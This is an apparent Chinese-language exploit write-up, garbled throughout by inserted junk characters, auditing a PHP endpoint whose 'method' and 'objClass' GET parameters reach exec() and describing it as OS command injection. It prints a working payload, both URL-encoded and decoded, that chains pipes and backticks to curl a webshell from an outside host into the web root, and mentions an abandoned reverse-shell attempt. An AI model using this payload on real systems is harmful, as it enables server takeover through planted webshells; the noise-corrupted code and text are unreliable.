$ O1 \! W- j2 W) L G2 }7 H- I+ r* b- a1 m# h 6 O |0 v o# ^- Y; s8 ~$ i [file_put_contents("/tmp/query_cmd",$cmd);]()' \" Q: G; H' r9 _' C) E
5 h! A* r4 q, O
6 F: a6 x& w) x V/ B% ?- s# P6 Q1 b& z3 S F9 }, R: y
exec ( $cmd . " " m: j+ @$ T, \6 E) Y> /dev/null &" );$ g7 R) A w- H2 ?, l3 e; _2 q
$ N9 u% q/ {, l$ P6 o1 l& g
! K& Z7 I. |- E1 }( b/ L
; x. ^% x% x& x0 v- q/ S- Y9 C
* S# \+ F' ^4 O6 ~
! i$ A% b3 S r o4 v2 H7 h} else { # C5 B1 b' d8 m* b* b# Y5 A- i) i$ I! `0 O/ V3 Y
8 [8 | @+ }5 y, y, N. z0 S7 }& R% x) l# O5 m
require_once0 T/ D) ]1 x' J% f) e! ^8 N
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");, d" w3 @8 p# z' V: l6 \
6 S/ O7 I; t4 e1 R% N- V- X3 _
! J$ V2 A8 H! m. \9 e
/ a+ V# B0 a+ V $obj = new2 x' _0 A4 @/ ~3 Z0 f: }% _/ d
QueryInterface ();1 q9 Z# P3 ], |- _3 O, |+ g
8 ^% S4 ?& q0 p! o& R% ^1 T0 H
( C. n( U2 f0 U0 `# F: C 3 M0 K$ Y" u& y6 n. [, n $instance = 1 g$ c/ ]% _3 B6 m$obj->getInstance (); ) l/ d7 o' |. d5 L8 r# t W" X7 b1 s. ~% t, W: e. `4 G
2 t9 _+ u+ y6 p4 x+ B + L9 g2 u' Y0 g3 }4 W0 @5 \ $instance->invokeMethod $ o2 D' b$ ~7 {. C, Z p( $_GET ["objClass"], $_GET ["method"], $param ); / H2 b: j6 }. K& J4 U- n9 R, p; H: \ 2 t5 k8 \ n. W1 J* @ 7 ] ]# M, S; ~& ? h1 G # a! q! D& [, {% j+ c} , z( Z5 O' s9 A* @% y( s L B; K$ F% C
$ R6 f a: T' K1 S8 t% o
+ E: G" x; b8 K# @' ]
exit (); , W3 i# |# S& ?( \6 f Y1 g' D; e
9 c" {4 c8 q+ `
" }9 c1 z" r; j" V: N?>) h% h# G/ ^% {1 P
' J9 k+ q0 I# x& h6 Q3 |**经常简单审计发现if ($_GET & p2 F1 v# M* {["method"] == "getList" || $_GET ["method"] ==- E6 @- B @# f8 t
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =3 p) }8 P$ n+ ]. A, J2 \
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .2 j B7 g5 w! B- E- V
"[system/behavior/behavior_query.php]()"; cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);** & f- u. q( G6 j7 r * H c- D2 u* s7 Q2 P' m* C& B** exec ( $cmd ) l9 s3 M# P# {" C' s" F$ H. " > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示** 7 p7 N' l% [9 J" r0 q , o: w Y& v2 i& Z- F9 c 6 h t/ J7 p9 J: h& N7 n8 h + }+ g/ I0 X# q$ p( t5 ?' d. s7 r- Q( G
3 m n/ F3 W) J; f, G
- n+ `( G3 Q7 a. _**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:** ' |5 f& ~6 e+ A6 P : l. T% |- a7 c) m, N# |**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**/ F+ F6 x0 C& K) j) v
5 i* z& ~8 R/ X' K" S
**我们用url解码如下:** 5 f: |' Q6 M& c! Q2 \$ C0 I9 X. X1 Z 6 d4 ~: n8 O# n**|curl http://1.1.1.1/qYCwxRz1.zip -o ! M/ S: R& e( N, p1 C# ]0 f/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o3 a3 T2 |' v5 K( J2 N/ K
/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php) * Y3 d. A' Q2 ]7 M, ~8 W% n f' O/ V$ v* ]0 x6 l9 a
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**% g4 p# T; d6 L2 L# Z. r
+ z1 n& O3 Z- e3 n+ o
4 K7 N! F: c* M# ]6 ^; P
. \' k7 o& o6 C% v1 W
9 V4 o, y1 `, x& u8 J' r& i* q